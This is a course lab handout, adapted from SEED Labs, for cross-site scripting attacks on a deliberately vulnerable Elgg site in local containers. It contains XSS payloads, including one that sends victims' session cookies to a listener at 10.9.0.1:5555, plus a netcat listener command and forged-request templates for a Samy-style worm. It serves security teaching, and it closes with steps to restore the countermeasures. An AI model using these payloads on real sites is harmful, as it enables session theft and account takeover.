Adapted from SEED Labs: A Hands-on Lab for Security Education.
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g., JavaScript) into a victim’s web browser. Using this malicious code, attackers can steal a victim’s credentials, such as session cookies. Access control policies (i.e., the same origin policy) employed by browsers to protect user credentials can be bypassed by exploiting XSS vulnerabilities.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg. Elgg is a very popular open-source social networking web application, and it has implemented a number of countermeasures to remedy XSS threats. To demonstrate how XSS attacks work, we have disabled these countermeasures in our installation of Elgg, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post arbitrary message, including JavaScript code, to user profiles.
In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg web app in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to their friend list.
This lab covers the following topics:
05_xss/
of our class’s GitHub repository.In this lab, we will use a variety of websites all running on the same container. Notably, the vulnerable Elgg site is accessible at http://www.xsslabelgg.com/.
WARNING: Do not visit these websites outside of the VM / when the local webserver is not running.
Please ensure that you have the class repo cloned locally.
Once this is done, navigate to the 05_xss/
directory.
For example:
$ cd ~
$ git clone https://github.com/reesep/csci476-code.git code # name the local clone 'code'
$ cd /home/seed/code/05_xss
We will make use of Docker and Compose to make working with containers easy.
# First, build the container
$ docker-compose build # Build the container image
# Next, start/stop the container(s) as needed
$ docker-compose up -d # Start the container (-d runs container in the background; i.e., detached)
$ docker-compose down # Shut down the container
In general for our labs, we will create and start containers that will run in the background
(i.e., use the -d
flag when bringing your container up).
At times we may need to run commands on a container — docker makes it pretty easy to attach to a container running in the background and get a shell on that container.
To run commands on a specific container, we first need to use the docker ps
command to find out the ID of the container,
and then we can use docker exec
to start a shell on that container.
(I told you this would be easy!)
$ docker ps -a # Show all containers (default shows just running)
$ dockps # Show active containers using custom formatting for docker ps
$ docksh <id> # Connect to container with <id>
### Examples ###
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
# Attach to the container with an ID that starts with "96"
$ docksh 96
root@9652715c8e0a:/#
# NOTE: If a docker command requires a container ID, you do not need to type the entire ID string.
# Typing the first few characters will be sufficient so long as it can uniquely identify a container.
Docker/Compose Aliases. For convenience we provide a number of aliases for the commands above. Feel free to use them (or don’t).
### see docker aliases ###
$ grep docker ~/.bashrc
Troubleshooting. If you encounter problems when setting up the lab environment, please read the “Common Problems” section of the SEED Manual for Containers for potential solutions. If you still can’t get things figured out, please connect a member of the course staff.
We have set up several websites for this lab.
They are all hosted within a single container with IP address 10.9.0.5
.
Your VM should already be configured to have these IP/hostname mappings in the /etc/hosts
file:
10.9.0.5 www.xsslabelgg.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
10.9.0.5 www.example60.com
10.9.0.5 www.example70.com
By using ifconfig
we can verify our host’s IP address within the docker network:
[VM]$ ifconfig
#...snipped...
br-f2fb40f6b8ae: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
^^^^^^^^
#...snipped...
In this case, my host can be addressed from a container by accessing 10.9.0.1
.
(This should be the same for you, but you should verify.)
In this lab we use an open-source web application called Elgg. Elgg is a web-based social-networking application. It is already set up in the provided container images.
We use two containers, one running the webserver (10.9.0.5
), and another running the MySQL database (10.9.0.6
).
The IP addresses for these two containers are hardcoded in various places in the configuration,
so please do not change them within the docker-compose.yml
file.
We have created several user accounts on the Elgg server; the username / password pairs are as follows:
Containers are usually meant to be disposable, so once they are destroyed, all the data inside the containers is lost.
For this lab, we want to keep the data in the MySQL database (i.e., so that we do not lose our work when we shutdown our container).
To achieve this, we have mounted the mysql_data
folder on the host machine to the /var/lib/mysql
folder inside the MySQL container.
The folder is created inside of
05_xss/
automatically once the MySQL container runs once.
This folder is where MySQL stores its database. Thus, even if the container is destroyed, data in the database will persist since it actually resides on the host. If you do want to start from a clean database, you can remove this folder:
$ sudo rm -rf mysql_data
This lab has been tested on the pre-built SEED VM (Ubuntu 20.04 VM).
In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg looks like, and to be able to send modified versions of acceptable HTTP requests, we need a tool that can help us capture, analyze, modify, and send HTTP requests. We can use Firefox's developers tools (F12, or CTRL + Shift + I) to analyze HTTP traffic and see how Elgg formats their HTTP requests. Before starting task 1, go to the "network" tab in developer tools and start clicking around on other people's profiles. You should see that the Dev tools window populated with HTTP traffic. Click on one entry and you can see HTTP requests along with their headers. You dont need to include a screenshot of this in your lab report. This is just to help prepare you for some tasks later on :-)
The objective of this task is to embed JavaScript code in your Elgg profile, such that when another user views your profile, the JavaScript code will be executed and an alert window will be displayed.
The following JavaScript code will display an alert window:
<script>alert('XSS');</script>
If you embed the above JavaScript code in your profile (e.g., in the brief description field),
then any user who views your profile will see the alert window.
In this case, the JavaScript code is short enough to be typed into the short description field.
This will suffice for Task 1, but
If you want to run a more substantial piece of JavaScript,
but you are limited by the number of characters you can type in the form,
you can store the JavaScript code in a standalone file, save it with the .js
extension,
and then refer to it using the src
attribute in the <script>
tag.
For example:
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
In this example, the page will fetch the JavaScript code from http://www.example.com, which can be any web server.
The objective of this task is to embed JavaScript code in your Elgg profile, such that when another user views your profile, the user’s cookies will be displayed in the alert window. This can be done by adding additional code to the JavaScript code from the previous task:
<script>alert(document.cookie);</script>
In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to somewhere that the attacker can access the information. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.
We can do this by having the malicious JavaScript insert an <img>
tag with its src
attribute set to the attacker’s machine.
When the JavaScript inserts the img
tag, the browser tries to load the image from the URL in the src
field;
this results in an HTTP GET request sent to the attacker’s machine.
The JavaScript given below sends the cookies to port 5555 of the attacker’s machine (with IP address 10.9.0.1
),
where the attacker has a TCP server listening on the same port.
<script>document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + '>');</script>
A commonly used program by attackers is netcat
(or nc
), which, if running with the -l
option, becomes a TCP server that listens for a connection on the specified port.
This server program prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server.
Type the following command below to listen on port 5555
:
$ nc -lknv 5555
-l
option is used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.-v
option is used to have nc
give more verbose output.-n
option forces nc
to not do any DNS or service lookups on any specified addresses, hostnames or ports.-k
option indicates that, when a connection is completed, listen for another one.While running netcat
on the VM is interesting in its own right,
we can also use other approaches to receive the information exfiltrated from the user’s browser.
For example, we could use something like https://webhook.site/,
which lets you, for instance, easily inspect any incoming HTTP request that is directed to a temporary URL they assign you.
In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy’s page. This worm does not self-propagate; in a later task we will make it self-propagating.
In this task, we need to write malicious JavaScript code that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker.
The objective of the attack is to add Samy as a friend to the victim.
We have already created a user called Samy on the Elgg server (the user name is samy
).
To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what is sent to the server when a user adds a friend. (Any tool that helps with HTTP inspection is useful here.) By inspecting the contents of HTTP requests, we can identify all of the parameters in the request. Once we understand what the add-friend HTTP request look like, we can write JavaScript code to craft and send an identical HTTP request. We provide template code that aids in completing the task.
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
// This data is sent by the server (look at the page's source code!)
// and must be included in subsequent requests.
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; // (1) elgg CSRF countermeasure
var token="&__elgg_token="+elgg.security.token.__elgg_token; // (2) elgg CSRF countermeasure
// Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
// Create and send an Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
The above code should be placed in the “About Me” field of Samy’s profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attack code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on “Edit HTML”, which can be found at the top right of the “About Me” text field.
Carry out the attack to add Samy as a friend to the victim. Describe your strategy and provide supporting code/details.
If the Elgg application only provided the Editor mode for the “About Me” field (i.e., you cannot switch to the Text mode), can you still launch a successful attack?
The objective of this task is to modify the victim’s profile when the victim visits Samy’s page. We will write an XSS worm to complete the task. This worm does not self-propagate; in a later task we will make it self-propagating.
Similar to the previous task, we need to write malicious JavaScript code that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies their profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user’s profile. (Again, any tool that helps with HTTP inspection is useful here.) Once we understand how the modify-profile HTTP POST request is formatted, we can write JavaScript code to send out an identical HTTP request. We provide template code that aids in completing the task.
<script type="text/javascript">
window.onload = function(){
// JavaScript code to access user name, user guid, Time Stamp __elgg_ts and Security Token __elgg_token
var name="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// Construct your url.
var sendurl=...; //FILL IN
// Construct the content of your request.
var content=...; //FILL IN
// Send the HTTP POST request
var samyGuid=...; //FILL IN
if (elgg.session.user.guid!=samyGuid) // (1)
{
// Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Similar to Task 4, the above code should be placed in the “About Me” field of Samy’s profile page, and the Text mode should enabled before entering the above JavaScript code.
Carry out the attack to modify the victim’s profile when the victim visits Samy’s page.
Hint! You need not send back data in the verbose way that data is sent in a typical “edit” request (i.e., using
Content-Type: multipart/form-data
, specifying a boundary, etc. ). It turns out you can also indicateContent-Type: application/x-www-form-urlencoded
, as we do in the provided template above, and as a result you can send back the data as one query string. This is basically what we’ve done before where we have passed data in the form of name/value pairs that are separated by the ampersand (&
), and names are separated from values by the equals symbol (=
). The only difference now is that we send back the data as part of the body of the request. Even this is handled for you though — just make sure that thecontent
variable contains the properly-formatted data that you want to send to the server as part of your “edit” request.
See this Stack Overflow post for a little more info: https://stackoverflow.com/a/4073451.
Why do we need line (1) in the code above?
Remove this line, and repeat your attack. Report and explain your observation(s).
To become a real worm, the malicious JavaScript code should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. Thus, the more people that view infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which not only modifies the victim’s profile and adds the user “Samy” as a friend, but also add a copy of the worm itself to the victim’s profile, so the victim is in essence turned into an attacker.
To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy itself to the victim’s profile.
For a walkthrough of this task: please watch this video from Reese.
Consider the following code: From a high level, this code does two things. First, it issues an HTTP request to update the victims profile to say "Samy is my hero" followed by worm code itself (line 17). This HTTP request allows the worm to propagate, because we are now injecting our propagating payload into new victim profiles. Second, it issues an HTTP request to add Samy as a friend. This is the same code as task 4.This aside is only for informational purposes, and there is no specific task to do.
In reality Elgg does have two effective countermeasures in place to defend against XSS attacks. As noted earlier, we have disabled/commented out these countermeaures to make your attacks possible.
One countermeasure consists of a custom security plugin, “htmLawed”,
which, on activation, validates user input and removes tags from the input.
This specific plugin is registered to the function filter_tags()
in the input.php
file, which can be viewed on the elgg-10.9.0.5
container.
If we grep for the function in this file:
$ grep -A 3 'function filter_tags' /var/www/elgg/vendor/elgg/elgg/engine/lib/input.php
we can clearly see that the relevant validation code has been commented out.
function filter_tags($var) {
// return elgg_trigger_plugin_hook('validate', 'input', null, $var);
return $var;
}
To turn on this countermeasure, login to the application as admin, go to Account → administration (top right) → plugins (on the right panel), and then click on “security and spam” under the filter options at the top of the page. You should find the “HTMLawed” plugin here. Click “Activate” to enable the countermeasure.
In addition to the “HTMLawed” security plugin, there is another built-in PHP method called
“htmlspecialchars”,
which is used to encode special characters included in user input;
for example <
is encoded to <
, >
to >
, etc.
To turn on this countermeasure,
navigate to the following directory, and locate and uncomment calls to htmlspecialchars()
in each file in this directory.
(The last time I checked, this function is called at various places in url.php
, text.php
, and dropdown.php
.)
cd /var/www/elgg/vendor/elgg/elgg/views/default/output
grep -n 'htmlspecialchars' *
# --> go into each file and uncomment calls to htmlspecialchars()
Submit your assignment as a single PDF to the appropriate D2L dropbox